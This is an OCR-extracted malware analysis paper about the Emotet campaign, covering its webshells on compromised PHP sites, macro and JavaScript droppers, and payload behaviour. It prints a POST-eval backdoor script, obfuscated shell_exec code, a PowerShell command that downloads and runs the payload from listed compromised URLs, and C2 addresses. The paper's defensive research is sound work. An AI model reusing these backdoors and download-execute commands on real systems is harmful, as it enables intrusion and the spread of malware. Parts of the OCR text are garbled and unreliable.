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Abstract

In 2018, we saw a surge in Emotet activity. Emotet started as a banking trojan but this paper will shed light on how
it has also become a "threat distributor”. We will also discuss server-side and client-side activity and how it
spreads. Its self-propagation makes it more challenging for security vendors to detect it statically. We will explain
how the URLs in the spam emails, malware hosted on these URLs are constantly changing and the use of brute
forcing for lateral movement.

1. Introduction:

1.1 What is Emotet?

Emotet malware campaign has existed since 2014. It comes frequently in intervals with different techniques and
variants to deliver malware on a victim. We see attackers using complex techniques to evade detection. It has
evolved from a standalone banking trojan to complex threat distributor. At the start of 2017, we had seen the
Emotet campaign spreading through malspam email with attached PDF and JS file. In 2018, it is spreading through
MS Office Word documents with a heavily obfuscated macro inside it. The mail also consists a URL which
downloads the MS Office (Word, Excel) documents. US-CERT had issued an alert highlighting how Emotet is a
serious threat.

1.2 What makes it a more complex distributor?

The malware shows persistent infection and is very aggressive in terms of changing the URLs and the payloads
delivered by them at regular intervals making it difficult for static detection. We also saw credential theft of the
network, email account credentials and passwords stored in web browsers. It attempts to spread internally
throughout the network via brute force attacks using stolen credentials. It hijacks the email ids by scraping names
and email addresses from the victim's Outlook account and then using the account to send out more malspam,
essentially turning victims into spammers.

As emotet and its modules are changed on hourly/daily basis, so we suspect that attacker are using modern
technology to change and deliver the components like Machine Learning (ML) etc.



2. Background

2.1.Infection Vector:
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Fig. 1 Emotet Complete Life Cycle

The campaign is divided into two stages.
1: Attack on the website.
2: Attack on the victim's machine.

These compromised websites were used for hosting the latest malware. These malwares are downloaded as a
document and then as an executable of Emotet in the later stage of spreading the malware.

2.2 Why Emotet is targeting PHP based websites?

Approximately 70%-80% of the websites are developed using PHP. Even content management systems like Joomla,
WordPress run on PHP. PHP being a server-side scripting language executes code on the server and gives HTML
as a response. If the attacker succeeds to execute malicious code on (PHP) server then he can get admin access of
the server. To execute malicious code on the server, vulnerabilities are targeted. Like in WordPress and Joomla
plugins many vulnerabilities are found which can be exploited. Some of them are "Arbitrary File Upload
Vulnerability", “Direct access to XMLRPC.php for brute-force attacks", "Remote privilege escalation vulnerability”,
“Cross-site scripting” and “Information disclosure vulnerability”. During the analysis, we inspected that it uses latest
vulnerabilities from exploit-db and rapid7. Usually these vulnerabilities are not patched by the website owners as
updating to latest plugins might affect their website themes. Also, some people only deactivate these themes but
don't delete them from ftp account. Such vulnerable plugins or themes can also be exploited. That's why these
websites are easily targeted which can be used as free and undetectable infrastructure to harvest different
malware.



3. Server Side Infection

3.1. How Emotet is compromising websites and used it as a threat distributor?
When a user accesses the URL from browser, it goes as a "Get" request to the server. The server reads URL and
executes PHP / server-side page associated with the current request.

e.g. When user accesses "hxxp://www.Abc.com/login”, on server-side webserver checks login.php page. If it is
present, then executes code on the server and sends HTML as response. Generally, we can't read PHP code directly
as its access is restricted by the server. To plant a backdoor script on PHP based websites/server, the attacker needs
to upload the backdoor script on PHP server using any of the above-mentioned vulnerabilities. Then the attacker
needs to send a request for that resource (backdoor script) which will execute on PHP server and give unlimited
access to web server.

Emotet is collaborated with different groups like "roi777" targeting PHP websites by uploading the backdoor script to
vulnerable websites. The attacker may use vulnerability scanners like Wpscan, Owasp-zap, Joomla scanner, Shodan
and Nmap to find vulnerabilities in the websites.

Common vulnerable Themes & Plugins:
1. Sketch.1.0.2 this theme which is distributed as freeware. Its 404.php page contains code for Webshell.
2. wp-db-ajax-made this is fake plugin added by botnet. It also contains webshell wp-ajax.php
3. revslider

3.2.How malware are evading Detections on webservers:

To evade detection attacker is using php language features. php is server-side scripting with many features such as

declaration of variable is not required, strings can be used as functions. Main features to evade detection are follows:
1. Strings can be written as hex values for example "abc” = “\0x61\0x62\0x63"

2. Strings can be used as function
“shell_exec" = shell_exec = "\x73\x68\x65\x6C\Xx6C\Xx5F\x65\x78\x65\x63"

3. Variables without values have null value means abcSv is same as abc. Sv is not considered in this case.
This features of php are extensively used for evading signature-based detection as well as for network traffic

Eg.:

<?php

Sm= "\X73\x68\x65\X6C\x6C\x5F\X65\x 78\x65\x63";

Sv=3m(ls");

echo Sv;

7>
In the above example, shell_exec is PHP function to execute shell commands. In PHP, “shell_exec" and shell_exec
have the same meaning and any of the strings can be used as a function call. We can write this function name in hex
like "\x73\x68\x65\x6C\Xx6C\x5F\x65\x78\x65\x63" which is nothing but shell_exec. This way, multiple commands
are executed on web server bypassing antivirus and evading php script detection.

Attacker execute code on server using post requests. To bypass network level filtering, it sends data as base64
encrypted with gzinflate compression. So, webservers are not able to detect these requests as malicious. On server
attacker keeps script to receive code via post request and execute using eval function of php.

On investigation, we found that these compromised websites are used as malware hosting platform or infrastructure
by an attacker which can be used to deliver any malware like Emotet, Miner etc. As discussed above, the count of
PHP websites all over the world is very high, in the same way count of compromised websites is also high.

In the Emotet campaign, we found multiple such scripts, which are executed as per attacker's command. Attacker
has kept 129-byte script on server which receives post request and executes code. Attacker is sending base64
encrypted script via post request on server it is executed and stores Emotet payload scripts in folder. Below malicious
scripts are used for taking remote access or backdoor access on the compromised server. Normally scripts are

found at the below location wp-admin\wpclient.

03



3.2.1. Initial Infection Scripts

E 0 O O Notsecure | o
Index of /wp-admin/wpclient
Name Lastmodified  Size Description

2018-12:25 1139 226
saron_Jog 2018-12-1803:55 15K
minificphp 201812200230 30K
remote.php 2018-12-1706:05 61K
settingz.pho 2018-12-23 11:34 191K
syslibphp 2018-12-2604:14 13K
temp_ S - 2018-12-18 03:55

mpsetting php 2018-08-2708:39 226

PBasent Darectory
aipkevphe

Fig. 2 Script used for taking access

In some cases, we found that above scripts are located in the root folder of the website or wp-includes, also they
edited 404.php of themes which contains the same code as mentioned in the below script. Also, in some cases same
scripts are stored with different names. Let's go through some of the important scripts.

A_.Edit.php:

This script is used by emotet group to create and execute function with post request content. This script is highly
encoded, and size of encoded script is 129 bytes so, no one notices this script easily. On one of the infected website
from our honeypot, we logged post request and found that they send base64 encoded script on post request. The
received script contains code of main emotet payload. It creates folder and keeps index.php and web.config file. On
our website emotet payload was updated by:

151.80.142.33 - France (Europe)
198.199.88.162 - America
5.9.150.122 — Germany (Europe)

. 0)2
ini_set ('memory_limit', -1)&
header ('Expires: Tue, 01 Jan 1970 00:00:00 GMT');
header ('Last-Modified: " . gmdate{('D, d M ¥ H:i:s") . ' GMT');
headsr ('Cache—-Control: no-store, no-cache, must-revalidate, max-age=0');
header ('Cache-Contrel: post-check=0, pre-check=0', falsa);
header ('Pragma: no-cache'):
if (function_exists('opcache_is_script_cached') && function_exists('opcache_invalidate'))
1
if (opcache_is_script_cached(__FILE_ )}
£
| opcache_invalidate (_FILE__, true};
k
}
if ($_SERVER['REQUEST_METHOD'] === 'POST'}
1
$spd8£594 = array shift($_POST);
SspSc02£3 = create_function('', (base64_decode(Sspd8£9%4)));
SspSc02£3();
1
* 3dd6d098600e3290d0f22cbac63bf2537ae81083 */

Fig. 3 Decrypted Edit.php to receive code
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Fig. 4 Encrypted Post request from attackers



error_reporting(0); set_time_limit(0); ini_set('max_execution_time', 0); ini_set ('memory_limit", -1); class O { private S$htacces
<Files index.php>
order allow,deny
allow from all
</Files>'; private S$Swebconfig = '<?xml version="1.0" encoding="UTF-8"7?>
<configuration>
<system.webServer>
<defaultDocument>
<files>
<clear/>
<add value="index.php" />
</files>
</defaul tDocument>
</system.webServer>
</configuration>'; private $path = 'PTESp 6YkjtH BP4TMxN'; private $content = 'PD9waHAgQZnVuY3Rpb24gZm41YzNkMTNjMTEjNjI4KCRzZKSBTII

Fig. 5 Decrypted Post request

B.Remote.php:

Previously this script was kept as ini_mod_filezipr.php which was related to "PHP doorway backdoor" campaign.
These scripts send "HTTP" and “curl” request to “fped8.org/doorways/settings_v2.php" and “update.php”.

Before December 2018 we observed this script on emotet compromised websites which also has ability to add php
file or modify themes. Attackers activate functions as per "get" and “post” request parameter. We found that
remote.php has the ability to download and execute PHP script which it gets from the HTTP request. If we try to
directly access remote.php then it sends a response as "true” or redirects to another domain. It checks for content
management systems (CMS) by detecting '/wp-blog-header.php’ for WordPress and '/includes/framework.php’ for
Joomla. Then according to a type of PHP site, it edits theme template for that it has defined a function named edittext
() which accepts _themesfile_data, _extlinksfilename, and _other_data which it adds to the themes of a website.

It downloads and stores data in cache folder named as temp+ClientID=*. It fetches one encoded PHP script, IP address
list of host server which sends a request to fped8.org. On our investigation, we found that this IP address list is
similar to the list of IP address present in Emotet folder on the compromised website. This helped us to relate Emotet
campaign with "doorways to PHP backdoor” campaign. Also, it contains a function to delete directory full_del_dir ().

C. Settings.php:

This file is the main component for an intruder. We found that when we open this page, we get the input box for
password and submit button. When we analyzed its PHP code, we found that this page is obfuscated multiple times.
We deobfuscated this file using base64_decode and str_rot13. Then again there were many base64 encrypted strings
in the array. When we decoded that we found that this script is wso webshell. To make it undetectable, they used
multiple time base64 encoding and other php function like str_rot13.This file is also webshell same as minify.php with
different encoding. More details about it is covered in minify.php.

D. Minify.php:

When we send user request, we get input box for password. Minify.php, index2127.php, simple.php5, 404.php and
Settings.php both files are the same. After decryption we found that it is nothing but a webshell. Similar webshell are
also available on "hxxps://webshell.co/" Both the files i.e. minify.php and setting.php are encrypted by different
encryption algorithms and decrypted on execution. To evade detection on the server side, both the script files are
highly encrypted. This script is webshell which consists of different utilities which helps the attacker to gain access of
the complete system without any user id passord.

Tools available in this script:

1. Filemanager

2. SQL Browser

3. Console

4. Php Shell to execute php code. (Eval())

5. Brute force tools for dictionary attack

6. Network script to create socket connection.
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Fig. 6 Web shell on compromised site (Filemanager)

Once this script is uploaded on the webserver, attacker can easily install other scripts and also gain ftp access by
using File Manager. On investigation, we found that this script is also added as 404 page in active theme of the
infected site to achieve persistency. But as these scripts have self-deletion ability on one click, attacker can delete all
these scripts. On never php website they used updated wso web shell with name ab.php and default password i.e.
"admin”. This script also has ability to provide reverse shell and get root password for webserver. Till now scripts
which we found have password in md5 as "f152ff3d0236535f1a5feb9272731e47".

E. Wpsetting.php:

This is very basic but important script uploaded by attacker. This script only has code to upload file and store it in
same folder where script is present. It accepts file with post request and parameter ‘filename’ and ‘test’. where value
for test is fixed ‘hello’. As this script looks as normal script to handle post request even if other scripts get deleted
these are not detected by antiviruses or webmasters and by sending post request to this script anyone can upload
any php script or file to compromised site even after infected site is cleaned. To achieve this, we only require html
code with multipart form where action is address of wpsettings page and fields are filename and test. In recent days
we found that script is kept with different name such as “wp-gjwjmv.php".

F. new_license.php:

On some of the compromised server we found new_license.php. This PHP script contains multipart HTML form
without any client and server-side validation. An attacker can upload any PHP (payload or backdoor) on the server, on
this page we get a link to the uploaded script. This type of script is used to upload any file and execute malicious
code on webserver.

3.2.2 Emotet Script files
We found that Emotet drop 5 files in Randomly generated name folder. The list of files is given below:

67179322b768a6c97af866b5561a06aabf878f15
bt

htaccess

index.php

web.config



U — Name Permissions | Modified Size Kind

* .well-known _ .htaccess read and write Dec 22, 2018 10:45 PM 95 b Plain text

) dndex:php __ Encrypted script which delivers emotet read and write  Dec 22, 2018 10:45PM 164 KB PHP source
shoutbox_view ls] web.config read and write Dec 22, 2018 10:45 PM 289 b XML document
showpost o bt read and write Today 03:41 AM 2.84 MB Plain text

> wp-admin | .B67179322b768a6c97af866b5561a06aabfg78f15 read and write Today 08:14 AM 33b Plain text

» _ wp-content

» wp-includes

Fig. 7 Emotet scripts from the compromised site

A. .bt:

This is a hidden file containing host URL list IP list from this file and "PHP backdoor files" is the same. And much
Emotet infected domains contain this file and file mentioned above. That's why we think that both these campaigns
did a tie-up to distribute the malware. From January 2019 emotet is not maintaining this IP list.

B. .67179322b768a6c97af866b5561a06aabf878f15:

The name of this file is generated by shal of directory name which contains emotet files. Below function is used to
get shal of directory: - shal(basename(dirname(__FILE_)))

This is a json file which is updated on each request whenever Emotet is downloaded from the given infected site.
{"4"1031,"5":1255,"2":31,"3"14}
Here 1031 is count of the Emotet downloads from current infected site.

C. .htaccess:

It is used to provide access to files, also to restrict access to certain files. This file gives a permission to index.php.
Following is a list of permission

Directorylndex index.php
<Files index.php>

order allow,deny

allow from all
</Files>

D. index.php:

This contains main Emotet payload. As storing exe on website can be detected easily and also updating such exe is
problematic. So emotet uses php script in which exe or doc is stored in encrypted form. In the phishing email, the
above folder containing index.php links is provided to the victim. Whenever a user clicks the link, the decrypted
Emotet malware (doc/Exe) is sent as a response.

This index.php is also heavily encrypted. After decoding we found that Emotet uses class and private variable to store
the main payload in an encoded form. There is a function called "execute" which decodes and sends the payload to
the user. It uses header function of PHP to send a response.

In header, it sends data like "'Expires: Tue, 01 Jan 1970 00:00:00 GMT"," Cache-Control: no-store, no-cache,
must-revalidate, max-age=0"". It mentions content type of file as "application/octet-stream”,
'Content-Transfer-Encoding: binary'. After successfully sending file as a response it writes new count of download to
json file "shal(directoryname)".

To decrypt this script, it first decrypts APl name by using pack function as shown in the above pic. Then it uses
decrypted function (Gzinflate, base64_decode) to decrypt remaining PHP script.



Fig. 8 Decrypted Index.php.

3.3 Modus operandi:

Attacker selects vulnerable websites by searching vulnerable plugins using google. Most vulnerable plugins are
“revslider”, "wooshop" and "Total-donations"(CVE-2019-6703). In some cases, people upload infected themes like
“sketch”. Once target is found they upload scripts like "wpsettings.php” to the sites. By using this script, they add wso
webshell. Once webshell is installed, they can get root password by using which they can take “ssh rdp session”. We
found that emotet is collaborating with different campaign to spread its malware to infected sites. Campaigns like
“Php doorways backdoor” which are famous for distributing miners and different malware is also their choice. In
emotet case they keep edit.php on webserver, this script receives post request and execute script. This script
contains payload which it stores in writable folder. Also, we found some scripts which finds writable folder and create
php file there by reading database, where database credentials are retrieved over post requests.

some paths where webshell can be found on infected sites:
/wp-content/themes/sketch/404.php
/wp-content/index.php

/wp-admin/index2127.php
/wp-includes/pomo/index2127.php
/wp-includes/SimplePie/Content/Type/simple.php5



4. Execution at the client side

The spreading mechanism of this campaign is a phishing email. It uses subject lines like ‘'Invoice’, ‘Delivery details’,
'‘Shipment details’, 'Payment details’ and so on to trick the victim into opening the email. In 2019 there are spam mail
in amazon delivery template with genuine links as well as link to emotet doc file. Such emails have compromised
URLs that will download a doc, xls, pdf or JavaScript file from compromised websites. Another way might be directly
attaching a doc, xls, pdf or JavaScript file inside the email or sometimes attaching a compressed file with a malicious

file.

4.1 Initial vector on Client side:

1. Doc

Date: 11/28/2018, 4:16 PM

2. Js

3. Xls

4. Pdf

5. Lateral Spreading in network

FUR NOVEMBER 2018
ZU ZAHLENDER BETRAG 366.35 €

Subject: Abrechnung Monat_11_2018 (Buchungs- Konto: 9272730297)
From: Telekom Deutschland GmbH <nilesh @ shslsaasiont >

To: m.scharfenberger@roemerberg.de
Guten Tag Manfred Scharfenberger,

Buchungskonto 9272730297xxx erhalten Sie mit dieser E-Mail eine Benachrichtigung zu Ihrer aktuellen Festnetz-Rechnung.

DocLink

RECHNUNGEN 2018 MONTH11. 4

Freundliche GriiRe

Ihre Telekom

b ) 1 attachment: #orwardedMessage.em| 1.4 KB

Fig. 9 Phishing Mail

4.1.1 Detailed analysis of Document file:

The malspam attachment is usually a Microsoft
Word or Excel document embedded with VBA
macros, which if executed will download Emotet.

A malicious office document embedded with
macro, on clicking on Enable Editing a macro code
will be activated. We have taken one sample. It has
a macro inside, such as "s1045119", a code has
Sub autoOpen() function which executes the
macros. The AutoOpen macro is a special macro
that is executed when the document is opened.

In the below snippet, Interaction. Shell is called for
processing of command given through variables
which are being passed to it. Variable TextBox()
contains the malicious code. Once this instruction
is executed, the command line code is executed
which launches a PowerShell script.

ngs-Details/Zahi

g/Rech-UDZ-30-08834

a Microsoft isual Basi - EForm_Order_Deails[break] - 4535950937103 (Cade]]

& fle B Yew Juet Fomat Debup Bun ook fdidns Mindow Help

BE-d s aaf 9
|

O A ERY S 8 vsws

X

2l ]
= &5 Meruslt Word Gt A
B) wsrmmomiz:

[(Generay o] [stmstry

10292 = 707 - 553
et a0s0d = 1923
Select Case 13704
Case 847
F112 = 73501
£124 = Log (K545}
K169 = veSES
Case 19
H156 = h1961
0158 = CBool (25150)
P1693 = Rnd(F5362 / Bex(A7327 * RES70 - m129 / Int(471)) * 273 - 468)
nd Select
63450 = 16 - 3]
Set 1196 = BS13
o h323333912 = Array(HO030391, 1637107329, 454358, nversction.Shell(("* + vESO4520 + Q73263 # 134707 o LESTA9T20701213. Texthoxi) + HS285
Select Case 12308
Case 228
Q608 = V4T1
L8546 = Logis6158)
135 = w11

Fig. 10 The instruction which calls a PowerShell script



The TextBox() variable contains the below command line code which is obfuscated and later launches PowerShell
script.

Below is the complete command line code which is present in the textbox() variable. It is obfuscated and launches a
PowerShell script. Arguments are decimal encoded to evade detection.

o8 /C SPrOGraNOATA -0, Iprocraddataz-0, 0% Vo 0 "SET ZRekeDlj=/a~" bR JCSTH vieinbomdrioey\Ftec: Mmg boEpSL+ Sk DIE2cETr vOTSRGAE0R S0 In [ B2,
Bo,oHL N 1, 6, M, M 6WE D, B¥OL,T M LT O, B0, 08 B, 0,1,
M, 6,12 ,i18 00, U, BW,Hn , N, 9W,5 , 4, & ,12,6 &, ,1,18, 1B.,0 ,8 , %K,
W E 7 L, 3O &, N, 7 8, B, W 68, 8T 36,8 3, 17, M,% 0 M 8, R

W, B, & , n ,H rE' Mo, %6 , 18,8 0 W BR&BSY 6,8, N, T ,8, R I

N e T A T I T B8, 0B o, § ,R,W 8B, 5,483,080,
8,0, %0, on, W, mom %, uae 4, %, %, 0 B, 1M, a0, 8,8, n,6, 8,
¥ o, B LW, RW.M, B 0 ,M , 8B B, ,6 4 7 8,0 %663, H,8.,2,
n, N M 40, R, BB, % 51, u,% 8B B ,8B, 9,4, El.l'.l T R

G, B, &, B0 0.0 5., W, 4, &, s, 1#, %.2.8, L P T T

T, M B B, M % LW, &, 16 B eE L0, WoT %o, B, N 1~ n, n 2,
4 44 25, B L, R,%, W, 8 ,8 , B, , R, K, B85,4,8 .8 I. 4B, 0,
W4 , B, B, 1M, IR B, %2, AT, R 3 B.6 , 8, # 6 00

Fig. 11 Encoded command to call PowerShell

We get final PowerShell command as shown in the below figure. This script is executed at the client end and Emotet
malware is downloaded and executed.

porershell $1680="wd79' s $n720=new-object Net.WebClient; $0368="http://johnnycrap. con/holphdnjdghttp: //kids-education-
support..com/LR115CY@http: //tortugadatacorp. com/K3Y7idpghttp: //realitycomputers.nl/CK2ibxR5rd@http: / [jaspinformatica. con/sdL8s7hg'
Split('g"); $R701="v347";$1041 = '371";9K206="1964" ; $u525=Fenv:publics"\"+§1041+ " .exe'; foreach($u877 in $H368){try
{$n720.DownloadFile($u877, $1525);$0171="d603',If ((Get-Item $u525).length -ge 80000) {Invoke-Item $1525;80886="c223' ;break; }}
cateh{}}$d779="U849";

Fig. 12 PowerShell command

Process follow diagram which shows the initial infection vector of Emotet is a malicious Office document containing
an obfuscated macro that runs a PowerShell script to download the payload.

4.1.2. Detailed Analysis of JavaScript File:

On client-side infection JavaScript is also used as Infection vector. As many antivirus companies block infection by
behavior-based policies. that's why most of the time doc file executing PowerShell which downloads malware is
common behavior pattern. So emotet also targets JavaScript engine like Wscript. Wscript and Cscript engine can
compile and execute script files with extension “.Js", ".vbs" and ".wsf". In our case we got " js" file which contains
many variables assigned with random strings. Then they used substr function. which selects string from suppose 3
rd position to 7 position. Lastly, they used string concatenation and substr together to get PowerShell script.

31 var aefnz = ciBBplL 0 DR O nEnRisfea]

342 var KPOAL = “VA4LS03HNTOPIF AP /SISCCONSHTON” / mtmmm T RonBAGES

343 ar KarnCh = KOOULSUSOIE, 6) sppnrciing DD TG TG AT

3l var fgwolice = farth L "bOWERHELL . $PSHOMe[4]+$ nSHoI“Ie[SUhx'{ﬂﬁ,},'w TR
g 5 1 Rlodo o SSEVATIEMSUUALOG e

kIERvar KKrPQrivP = RdHilbOwp. substr(15, 5| b ;

34 war tmlsb xxrﬂqrﬁw @ Pl gch +UEQS RAJ

2 R nfran’
FCROA ‘DOWErSHELL [ $PsHOMe[4) +8pSHoMel 301+ ) (NEW-0bJeCT S5teM.i0.coMprt
O WsQmiBy  'cH{NEW-0b)eCT 5"

TACYEPKDA = FXzDwkFknz + HawpQ'oP + jbQtUQnrEq + VRGedH0g + UrsuTCc + aGuzHUB + zlv

nttw-m >cﬂmmmw

} OusibchynlS{"Popup*](“There is dasaged ¢ Wre TEAEME(§
152 LT ks 5
153 talvduink); postd e

Fig. 13 JavaScript to decrypt string and Execute PowerShell.



To execute this code, they used Wscript shell which can execute commands or exe. In this way decoded string is
executed using Wscript shell. So Wscript executes PowerShell and this PowerShell then download payload from
compromised website and execute payload. To evade behavior and signature-based detection malware author uses
these tricks. Mainly to prevent detection from AMSI they used base64 encoding with compression or in JavaScript
uses substr like genuine functions. Also, emotet JavaScript file shows error message on client side after successful
execution of PowerShell command.

327 var 1KbuTwZQ = kiXQsOYZBkL.substr(1l, 18)
328 var FRZzR = 1KbuTwZQ

329 ivar jdIDsRMpv = "FDT3FLIQILYC3AD3HIWWITP3RXT18ZFlo8wdoduB/2yk@1FD713LP"
330 var igziBNvzS = jdIDsRMpv.substr(27, 19)

i CdZmLwOC = iqziBNvz . o]
331 var Windows Script Host eS|

332 var URAMKVIFK] = "7486R
333 var EWswC = UAAMKVAFK].

i i = EW . . .
:i; :z: ;::i;;td E E;ESBCEC There was an error opening this document. The file is damaged and could not be

336 var cWBBpUL = OwaZGttd. repaired (for example, it was sent as an email attachment and wasn't correctly

337 var mrQnz = cWBBpUL decoded).
338 var kPOwl = "Y44L403H3X
339 var karnCA = kPOwl.subs
340 wvar igaPoilcc = karnCA
341 var RdHilbDwp "99SEVH
342 var KKrPQrGuP = RdHilbO
343 var thOJBb = KKrPQrGvP
344 [JFITXCYFPKDA = FXzIwKFknz + WawpQjoP + jbQtUQnrEq + VRGmdHQqQq + UrsuTCcf+ aGwzHUB + zZwzYiodIpn + OwjVRr + Izbt
345 var kamOzmMxAymUS = new ActiveXObject("WScript.Shell™);
346 kamQzmNxAymUS["Run"]({JFiTXCYFPKDA, @, @); Executes malware
3 kEWE I amDzmNxAymUS[ " Popup” ]{"There was an error opening this document. The file is damaged and could not be repair
. 348 K

3495£b1vjwinxtj;

Fig. 14 Error Message after successful Execution of js

So, flow of execution is as follows:
Email -> js file -> Wscript.exe -> Executes PowerShell -> Download & Executes Emotet.

4.1.3.Emotet From Pdf File:

Pdf files are also distributed using mail. These are simplest attacking vector where link to doc is added as action in
pdf file, which when clicked downloads doc containing macro. Rest of the things are same as doc.

You sent a payment of $2,107.69 to JACOB BROWN.
Type: ELEC DRAFT (ACH)

For details of a recent payment made to you, please see the attached
payment remittance advice.

If you have any gueries or guestions, our contact details are printed on
the remittance advice.

Get your receipt here.

Emotet doc url as action

OanlbAafamariss MAara didase fAar Ay mana

Fig. 15 Emotet Through Pdf

4.1.4.Emotet Doc as XML.:

Recently emotet started using xml-based file containing macros. Extension of this file is doc.so. When executed with
Microsoft word it executes it as doc and runs macro present in xml file, which decodes base 64 encoded content and
starts executing PowerShell. As files are xml, people who are tracking emotet URL to get new samples don't detect
this file as for Linux these files are simply xml files containing information.

11



smlns:wne="hitp://schemas microsoft.com/office/word/2006/wordml"”
xmlns:wsp="http://schemas .microsoft.com/office/word/2003/wordnl/sp2"

xmlns:sl="http://schemas . microsoft com/schemalibrary/2003/cora" w:mcros?reétﬂyes“ w:embeddedObjPresent="no"
Jw:ocxPresent="no" xml:space="preserve"><w:ignoreSubtree w:val="http://schemas microsoft. com/office/word/2003/wordml/sp2" />
<o:DocumentPropertises»<o:Revision>1</o:Revision><o: TotalTime>0</0: TotalTime><o: Creatad>2019-01-25T07:30: 002
</o:Created><o:LastSaved>2019-01-25T707:30:002Z</0:LastSaved><o: Pagas>1</o: Pages><o:Words>2</o:Words><o:Characters>12
</o:Characters><o:Lines>1</o:Lines><o:Paragraphs>1</o:Paragraphs><o:CharactersWithSpaces>13
</o:CharactersWithSpaces»<o:Version>16</o:Version></o:DocumentProperties><w: fonts><w:defaultFonts w:ascii="Calibri" w:fareast=
"Calibri" w:h-ansi="Calibri" w:cs="Times New Roman"/><w:font winame="Times New Roman"><{w:panose-1 w:val="02020603050405020304"
/><wicharset wival="00"/><w:family w:val="Roman"/><w:pitch w:val="variable"/><w:sig w:usb=-0="EQ002AFF" w:usb-1="C0007841"
w:usb-2="00000009" w:usb-3="00000000" w:csb-0="000001FF" w:csb-1="00000000"/></w:font><w:font w:name="Cambria Math"
><{w:panose-1 w:val="02040503050406030204"/><w:charset w:val="00"/><w:family w:val="Roman"/><w:pitch w:val="variable"/><w:sig
wiusb-0="00000003" w:usb-1="00000000" w:usb-2="00000000" w:usb-3="00000000" w:csb-0="00000001" w:csb-1="00000000"/>

xml macro present yes

Fig. 16 Emotet XML based macro

4.2.Emotet Payload Analysis:

The downloaded payload "{Random_name}.exe" is then executed from %temp% or %public% location. After that, it
creates a copy of itself in %Appdata%. In this case, we found the payload name as "emitsendand.exe". This file again
spawned a new instance of its own and showed its activity.

The downloaded payload has a pre-defined list of words. By using a combination of 2 words from this list it creates
the name of 2nd self-copy and executes from respective locations. If the system is 32-bit, then it executes its
self-copy from "C:\Windows\System32" folder or "%appdata%samename/samename.exe” else if it is 64-bit then the
location is "C:\Windows\SysWOW64". It carries a list in a 0x162 size character array and divides it with one constant
that in this case is volumeserial id with length i.e. 0x162. Then it moves the pointer to that location and checks for
semicolon i.e. '0x2C' if it does not find semicolon then it moves backward. To select word, it uses negation of
volumeserial id divided by length of list in place of volume serial id.

In this way, it selects words and concats them. Till now we found 5 unique list of names. If the program is executed
as admin it adds service entry else, it will add run entry of malware for persistence.

I.map. shims, iface. portto, ras. evla, pdh, eync. et vpc.
SHORT OOGBDECS
BYTE PTR [5: [EAX], 2C
SHORT (OGEDEDZ
INC Eax
| MOV CL. BYTE PIR [S: [EAX] | DT cvan.shs.emit.graph. work. fix. restore.select.baml. iprop. rep
T85T  CL. CL T
JE SHORT WE b
0000Y LEA ESP. G0
CHP CL, 21 P 1

MOVSE CX. CL

INC E&X

KOV ¥ORD FTR [5:([ESI]. CX

ADD B3I, 2 J

MW £l BYTE PTR DS [BAY] el 11 ¥

E.LE)

|Hex dump : : | ascIT | N :
73 74 65 70 73 2L 69 GE 74 65 6L 2L 63 79 61 GE steps, intel,cyan ASCIT "steps.intel.cran.sbs.emit.eraph.vork.fix. restore.se
2C T3 62 73 2C €5 6D 69 79 2C 67 72 61 70 63 ZC| .sbs.emit.erarh.
TT6E 72 6B 2C 65 69 78 2C 72 65 73 74 6F 72 65|vork.fix, restore
20 7365 60 656 63 74 2C 62 6D 60 ZC 69 70 72 GF|.select.bnl, ipro
T 20 T2 85 70 BF T2 74 73 20 B2 61 60 BC BF EF| p.reports,balloo
GE 2C 68 6F 70 2C 73 T2 6D 62 6F 6C 2C 6D 64 64| n,hop, symbol .mdd
65 66 77 2C B3 79 72 6 2C 6D 61 mﬁ:ﬂ%ﬁﬂefv,gwl,mp,ﬂ:i
BN 73 20 e AR R B3 AR S0 M RE 72 74 74 AR O me iface portto

Fig. 17 List of file names



The following is the list of names stored in this file. By the combination of any two words filename is created.

4.2.1.Emotet File Name generation Algorithm:
VolumeSerial = GetVolumeSeriallnformationA();

pcString = “Comma separated strings”

iRemainder = dwVoumeSerialNum % iLength;
newVolumeSerialNum = ~(dwVoumeSerialNum / iLength);
pcString = dwVoumeSerialNum % iLength + *StringNameCopy;
SelectedWord1 = (--pcString) till *,'comma is found.
dwVoumeSerialNum = newVolumeSerialNum;

Repeat loop for one more time.

Concatenate two words.

The first instance of the dropped file contains the huge encrypted data. This data will get decrypted at runtime and
decrypt two other PE file in the memory which can be used by the parent file for further process.

After this, the parent process checks whether the process is spawned by itself or not. If not, then it creates one mutex
and closes the parent process and runs as an individual.

The spawned process will list out all the running processes and store it in a memory. After that, it starts enumerating
each process.

By using the CreateToolhelp32Snapshot function, it takes the snapshot of each process and thread, heaps and
modules used by these processes. It uses combination of ProcessFirst and ProcessNext for enumerating running
processes.

After taking the details of each running process, malware starts encrypting the data and sends it to the malicious
server in POST request. It encrypts the data using an RSA public key, which is present inside the file, then sends the
encrypted data to the C&C server. Request body is passed in the Cookie header.

Before sending the data to server, malware do key generation. Firstly, Emotet loads RSA public key, stored in main
module. Then, AES symmetric key is generated using cryptographically secure CryptGenKey function. Finally,
generated key is encrypted using previously loaded RSA public key.

Following are some function used for key generation and encryption of data:

CruptAcquireContextW(hProv,. @, B, PROU_RSA_AESC{1E >, dwFlags{(BxFOBBBO4@)> >

a8A108861 .

portKey(HCRYPTPROU, =phData.
Data>;

F ¢ CryptCreateH
»turn 1;7
estroyKle y(hK

CryptDestroyKey(hCryptREAD ;

3
CryptReleaseContext (hProv, @23

Fig. 18 RSA-AES key creation



if ¢ *CryptDuplicateHashCHCRYPTHASH, B, @, &hHash) )
goto ERROR;
nennove(phData, hufPtr, hufLen);
if ( CryptEncrypt(hKeyfes, hHash, 1, @, phData, &pdwDatalen(BxAF>, dwBufLen) )

if ¢ CryptExportKeyChKeyfes, hCryptRSA, 1, GO0BAR4A //duflag => CRYPT_OAEP, encKey, &encKeyLen<6C)> >
nemmove{encReq, encKey, 96)
if ¢ CryptGetHashParam(hHash, 60080662 //dwParam = HP_HASHUAL, phdata, &shalen, @) )
result = 1;

}

// InternetOpen InternetConnect!

}

Fig. 19 Encryption of request data

For C&C communication it uses Google Protocol Buffer implementation. It uses "proto2” message encoding. Where it
uses following message request protocol.

message regrequest {
required int32 command = 1;
required string botld = 2;
required int32 osVersion = 3;
required int32 checkflag = 4;
required fixed32 crc32 = 5;
required string processList = 6;

a [ F = ;
tring = sub_A91508();
18 = 8;
19 = ( i ] serstring;
iInternetReadFile = 8;
ters InternetOpenW(lpUserString, @, 0, 8, 0);
if f: Lt netOper J
1
f :ct = InternetConnectW(hInternetOpen, lpszServerName, nServerPort, @, @, 3, 8, 9);
if ( hConnect )
{

